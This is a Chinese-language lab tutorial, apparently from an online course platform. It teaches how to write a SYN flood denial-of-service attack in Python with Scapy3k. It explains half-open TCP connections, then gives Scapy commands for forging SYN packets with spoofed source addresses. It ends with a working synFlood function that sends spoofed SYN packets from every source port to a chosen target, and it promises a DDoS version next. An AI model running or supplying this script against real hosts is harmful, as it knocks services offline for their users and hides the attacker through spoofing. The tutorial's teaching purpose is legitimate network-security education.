本實驗摘自實驗樓:https://www.shiyanlou.com/courses/683/learning/?id=2236
1.1 實驗介紹
本次實驗將使用python3版本的Scapy--Scapy3k來實現一個簡單的DDos,本次實驗分爲兩節,本節將學習如何使用Scapy3k來實現SYN泛洪攻擊。
1.2 知識點
- SYN泛洪攻擊的實現原理
- Scapy3k的基本用法
1.3 效果圖
2.1 SYN泛洪攻擊
SYN泛洪攻擊
(SYN Flood)是一種比較常用的DoS
方式之一。通過發送大量僞造的Tcp連接請求,使被攻擊主機資源耗盡(通常是CPU滿負荷或者內存不足) 的攻擊方式。
我們都知道建立Tcp連接需要完成三次握手。正常情況下客戶端首先向服務端發送SYN報文
,隨後服務端回以SYN+ACK報文到達客戶端,最後客戶端向服務端發送ACK報文完成三次握手。
而SYN泛洪攻擊
則是客戶端向服務器發送SYN報文
之後就不再響應服務器迴應的報文。由於服務器在處理TCP請求時,會在協議棧留一塊緩衝區來存儲握手的過程,當然如果超過一定的時間內沒有接收到客戶端的報文,本次連接在協議棧中存儲的數據將會被丟棄。攻擊者如果利用這段時間發送大量的連接請求,全部掛起在半連接狀態
。這樣將不斷消耗服務器資源,直到拒絕服務
。
2.2 Scapy3k基本用法
Scapy3k
其實就是Scapy
的Python3版本,以下我就簡稱Scapy
。Scapy
是一個強大的交互式數據包處理程序。可用來發送、嗅探、解析和僞造網絡數據包。在網絡攻擊和滲透測試中應用非常廣泛。Scapy
是一個獨立的程序同時還可以作爲Python的第三方庫使用。是不是有些迫不及待的想見識一下Scapy
的強大之處了?
我們先在實驗環境中安裝Scapy3k
:
sudo pip3 install scapy-python3==0.18
現在運行scapy
學習一下它的使用方法。
sudo scapy
這裏需要注意:Scapy
發送數據包需要root
權限,所以這裏我們加上了sudo
。另外運行的時候會出現一些警告信息,我們這次實驗沒有用到相關的功能可以不用管,需要用的安裝相應的依賴包就可以了。
現在我們用Scapy
構造一個簡單的數據包看一下:
pkt = IP(dst="192.168.0.100")
可以看到Scapy
構造一個數據包非常簡單,我們再來看一下如何構造SYN
數據包:
IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
我們構造了一個IP包和TCP包並將它們組合到一塊,這樣就有了一個完整的TCP數據包,否則是無法發送出去的。IP包中我們指定了源地址src
和目的地址dst
,其中src
是我們僞造的地址,當然這也是DoS攻擊中保護攻擊者的一種方式。flags
的值我們設定爲S
,說明我們要發送的是SYN
數據包。非常簡短的一段指令就構造了一個僞造了源IP地址的SYN
數據包,是不是很簡單?
構造了我們想要的數據包,現在我們把它發送出去:
pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
send(pkt)
至此我們編寫SYN泛洪攻擊
的基本知識就已經全部介紹完了,用這些知識足夠我們來完成本次試驗了。至於Scapy
的更詳細用法,可以看一下官方文檔,你就會發現Scapy
的強大之處。
三、代碼實現
現在我們要用Python以第三方庫的形式使用Scapy
,使用方法和用交互式Shell的方式一樣,注意:使用前要先導Scapy的包:
from scapy.all import
之前我們已經構造過了SYN
數據包,現在我們需要實現隨機僞造源IP地址、以及以不同的源端口向目標主機發送SYN
數據包:
import random
from scapy.all import *
def synFlood(tgt,dPort):
srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
for sPort in range(1024,65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
packet = ipLayer / tcpLayer
send(packet)
在代碼中我定義了srcList
用於存放僞造的IP地址,之後定義了一個循環,作用是每次發送數據包源端口都改變,可以看到在構造TCP數據包的時候我們增加了一個參數sport
,循環中改變的端口號就是給了sport
這個參數。我們還調用random.randrange()
函數來隨機從srcList
中獲取一個僞造的IP地址。
至此我們本次實驗就完成了,雖然代碼非常少不過功能我們卻實現的比較理想,這主要是因爲Python的語法本身非常簡潔,再加上Scapy
封裝的也非常好,纔會讓我們寫出即簡潔功能又強大的代碼。
現在我們只實現了DoS
攻擊的腳本,在下一次實驗我們將繼續完善代碼,實現DDoS
。